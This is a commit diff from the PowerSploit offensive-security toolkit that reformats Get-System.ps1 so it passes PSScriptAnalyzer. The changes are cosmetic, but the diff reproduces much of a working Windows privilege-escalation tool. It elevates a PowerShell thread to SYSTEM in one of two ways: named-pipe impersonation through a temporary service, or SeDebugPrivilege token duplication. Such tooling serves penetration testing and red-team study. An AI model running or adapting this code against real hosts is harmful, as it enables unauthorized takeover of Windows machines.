diff options
author | HarmJ0y <will@harmj0y.net> | 2016-12-14 13:10:37 -0500 |
---|---|---|
committer | HarmJ0y <will@harmj0y.net> | 2016-12-14 13:10:37 -0500 |
commit | 07ccc07fc67dc92774044c0f0aba4613842b1a01 (patch) | |
tree | 42fcdb4b6888d5244b41817e03d84f6e31777477 /Privesc | |
parent | 7964823e3f398c41a7ad1c0e8c4c28c0806a9c0d (diff) | |
download | PowerSploit-07ccc07fc67dc92774044c0f0aba4613842b1a01.tar.gz PowerSploit-07ccc07fc67dc92774044c0f0aba4613842b1a01.zip |
mods to Get-System for it to pass PSScriptAnalyzer
Diffstat (limited to 'Privesc')
-rw-r--r-- | Privesc/Get-System.ps1 | 216 |
1 files changed, 112 insertions, 104 deletions
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index f2b8014..c48698c 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -1,103 +1,109 @@ function Get-System { <# - .SYNOPSIS +.SYNOPSIS - GetSystem functionality inspired by Meterpreter's getsystem. - 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create - a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. - NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure - token duplication works correctly. +GetSystem functionality inspired by Meterpreter's getsystem. - PowerSploit Function: Get-System - Author: @harmj0y, @mattifestation - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect - .PARAMETER Technique +.DESCRIPTION - The technique to use, 'NamedPipe' or 'Token'. +Executes "getsystem" functionality similar to Meterpreter. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. - .PARAMETER ServiceName - The name of the service used with named pipe impersonation, defaults to 'TestSVC'. +.PARAMETER Technique - .PARAMETER PipeName +The technique to use, 'NamedPipe' or 'Token'. - The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. +.PARAMETER ServiceName - .PARAMETER RevToSelf - - Reverts the current thread privileges. +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. - .PARAMETER WhoAmI +.PARAMETER PipeName - Switch. Display the credentials for the current PowerShell thread. +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. - .EXAMPLE - - PS> Get-System +.PARAMETER RevToSelf - Uses named impersonate to elevate the current thread token to SYSTEM. +Reverts the current thread privileges. - .EXAMPLE - - PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' +.PARAMETER WhoAmI - Uses named impersonate to elevate the current thread token to SYSTEM - with a custom service and pipe name. +Switch. Display the credentials for the current PowerShell thread. - .EXAMPLE - - PS> Get-System -Technique Token +.EXAMPLE - Uses token duplication to elevate the current thread token to SYSTEM. +Get-System - .EXAMPLE - - PS> Get-System -WhoAmI +Uses named impersonate to elevate the current thread token to SYSTEM. - Displays the credentials for the current thread. +.EXAMPLE - .EXAMPLE - - PS> Get-System -RevToSelf +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +.EXAMPLE + +Get-System -Technique Token + +Uses token duplication to elevate the current thread token to SYSTEM. - Reverts the current thread privileges. +.EXAMPLE - .LINK - - https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c - https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot - http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ - http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +Get-System -WhoAmI + +Displays the credentials for the current thread. + +.EXAMPLE + +Get-System -RevToSelf + +Reverts the current thread privileges. + +.LINK + +https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] param( - [Parameter(ParameterSetName = "NamedPipe")] - [Parameter(ParameterSetName = "Token")] + [Parameter(ParameterSetName = 'NamedPipe')] + [Parameter(ParameterSetName = 'Token')] [String] - [ValidateSet("NamedPipe", "Token")] + [ValidateSet('NamedPipe', 'Token')] $Technique = 'NamedPipe', - [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = 'NamedPipe')] [String] $ServiceName = 'TestSVC', - [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = 'NamedPipe')] [String] $PipeName = 'TestSVC', - [Parameter(ParameterSetName = "RevToSelf")] + [Parameter(ParameterSetName = 'RevToSelf')] [Switch] $RevToSelf, - [Parameter(ParameterSetName = "WhoAmI")] + [Parameter(ParameterSetName = 'WhoAmI')] [Switch] $WhoAmI ) - $ErrorActionPreference = "Stop" + $ErrorActionPreference = 'Stop' # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-DelegateType @@ -165,10 +171,10 @@ function Get-System { function Local:Get-SystemNamedPipe { param( [String] - $ServiceName = "TestSVC", + $ServiceName = 'TestSVC', [String] - $PipeName = "TestSVC" + $PipeName = 'TestSVC' ) $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" @@ -177,9 +183,9 @@ function Get-System { # create the named pipe used for impersonation and set appropriate permissions $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity - $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow') $PipeSecurity.AddAccessRule($AccessRule) - $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity) $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() @@ -220,9 +226,9 @@ function Get-System { # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - Write-Verbose "Opening service manager" - $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) - Write-Verbose "Service manager handle: $ManagerHandle" + Write-Verbose '[Get-System] Opening service manager' + $ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F) + Write-Verbose "[Get-System] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -and ($ManagerHandle -ne 0)) { @@ -232,7 +238,7 @@ function Get-System { # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL - Write-Verbose "Creating new service: '$ServiceName'" + Write-Verbose "[Get-System] Creating new service: '$ServiceName'" try { $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) $err = $GetLastError.Invoke() @@ -241,40 +247,40 @@ function Get-System { Write-Warning "Error creating service : $_" $ServiceHandle = 0 } - Write-Verbose "CreateServiceA Handle: $ServiceHandle" + Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)) { $Success = $True - Write-Verbose "Service successfully created" + Write-Verbose '[Get-System] Service successfully created' # Step 3 - CloseServiceHandle() for the service handle - Write-Verbose "Closing service handle" + Write-Verbose '[Get-System] Closing service handle' $Null = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() - Write-Verbose "Opening the service '$ServiceName'" + Write-Verbose "[Get-System] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) - Write-Verbose "OpenServiceA handle: $ServiceHandle" + Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Step 5 - StartService() - Write-Verbose "Starting the service" + Write-Verbose '[Get-System] Starting the service' $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) $err = $GetLastError.Invoke() # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ - Write-Verbose "Service successfully started" + Write-Verbose '[Get-System] Service successfully started' # breathe for a second Start-Sleep -s 1 } else{ if ($err -eq 1053){ - Write-Verbose "Command didn't respond to start" + Write-Verbose "[Get-System] Command didn't respond to start" } else{ - Write-Warning "StartService failed, LastError: $err" + Write-Warning "[Get-System] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 @@ -282,48 +288,48 @@ function Get-System { # start cleanup # Step 6 - DeleteService() - Write-Verbose "Deleting the service '$ServiceName'" + Write-Verbose "[Get-System] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) $err = $GetLastError.Invoke() if ($val -eq 0){ - Write-Warning "DeleteService failed, LastError: $err" + Write-Warning "[Get-System] DeleteService failed, LastError: $err" } else{ - Write-Verbose "Service successfully deleted" + Write-Verbose '[Get-System] Service successfully deleted' } # Step 7 - CloseServiceHandle() for the service handle - Write-Verbose "Closing the service handle" + Write-Verbose '[Get-System] Closing the service handle' $val = $CloseServiceHandle.Invoke($ServiceHandle) - Write-Verbose "Service handle closed off" + Write-Verbose '[Get-System] Service handle closed off' } else { - Write-Warning "[!] OpenServiceA failed, LastError: $err" + Write-Warning "[Get-System] OpenServiceA failed, LastError: $err" } } else { - Write-Warning "[!] CreateService failed, LastError: $err" + Write-Warning "[Get-System] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle - Write-Verbose "Closing the manager handle" + Write-Verbose '[Get-System] Closing the manager handle' $Null = $CloseServiceHandle.Invoke($ManagerHandle) } else { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx - Write-Warning "[!] OpenSCManager failed, LastError: $err" + Write-Warning "[Get-System] OpenSCManager failed, LastError: $err" } if($Success) { - Write-Verbose "Waiting for pipe connection" + Write-Verbose '[Get-System] Waiting for pipe connection' $Pipe.WaitForConnection() $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) - Write-Verbose "ImpersonateNamedPipeClient: $Out" + Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out" } # clocse off the named pipe @@ -366,7 +372,7 @@ function Get-System { $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) $PrivilegesField.SetCustomAttribute($AttribBuilder) - $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + # $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), @@ -455,7 +461,7 @@ function Get-System { $Win32Methods = $Win32TypeBuilder.CreateType() - $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} $GetCurrentProcess = $Win32Native.GetMethod( 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' @@ -463,7 +469,7 @@ function Get-System { $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 - $STANDARD_RIGHTS_READ = 0x00020000 + # $STANDARD_RIGHTS_READ = 0x00020000 $TOKEN_ASSIGN_PRIMARY = 0x00000001 $TOKEN_DUPLICATE = 0x00000002 $TOKEN_IMPERSONATE = 0x00000004 @@ -473,7 +479,7 @@ function Get-System { $TOKEN_ADJUST_GROUPS = 0x00000040 $TOKEN_ADJUST_DEFAULT = 0x00000080 $TOKEN_ADJUST_SESSIONID = 0x00000100 - $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor $TOKEN_ASSIGN_PRIMARY -bor $TOKEN_DUPLICATE -bor @@ -492,16 +498,16 @@ function Get-System { $tokPriv1Luid.Luid = $Luid $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED - $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) $htoken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) - $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($RetVal)) { - Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop } $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value @@ -522,36 +528,38 @@ function Get-System { } } } - catch {} - } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + catch { + Write-Verbose "[Get-System] error enumerating handle: $_" + } + } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { - Write-Error 'Unable to obtain a handle to a system process.' + Write-Error '[Get-System] Unable to obtain a handle to a system process.' } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "OpenProcessToken result: $RetVal" - Write-Verbose "OpenProcessToken result: $LastError" + Write-Verbose "[Get-System] OpenProcessToken result: $RetVal" + Write-Verbose "[Get-System] OpenProcessToken result: $LastError" [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "DuplicateToken result: $LastError" + Write-Verbose "[Get-System] DuplicateToken result: $LastError" $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if(-not($RetVal)) { - Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop } - Write-Verbose "SetThreadToken result: $LastError" + Write-Verbose "[Get-System] SetThreadToken result: $LastError" $null = $Win32Methods::CloseHandle($Handle) } } if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { - Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop } if($PSBoundParameters['WhoAmI']) { @@ -566,17 +574,17 @@ function Get-System { $RetVal = $RevertToSelf.Invoke() if($RetVal) { - Write-Output "RevertToSelf successful." + Write-Output "[Get-System] RevertToSelf successful." } else { - Write-Warning "RevertToSelf failed." + Write-Warning "[Get-System] RevertToSelf failed." } Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } else { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { - Write-Error "Script must be run as administrator" -ErrorAction Stop + Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop } if($Technique -eq 'NamedPipe') { |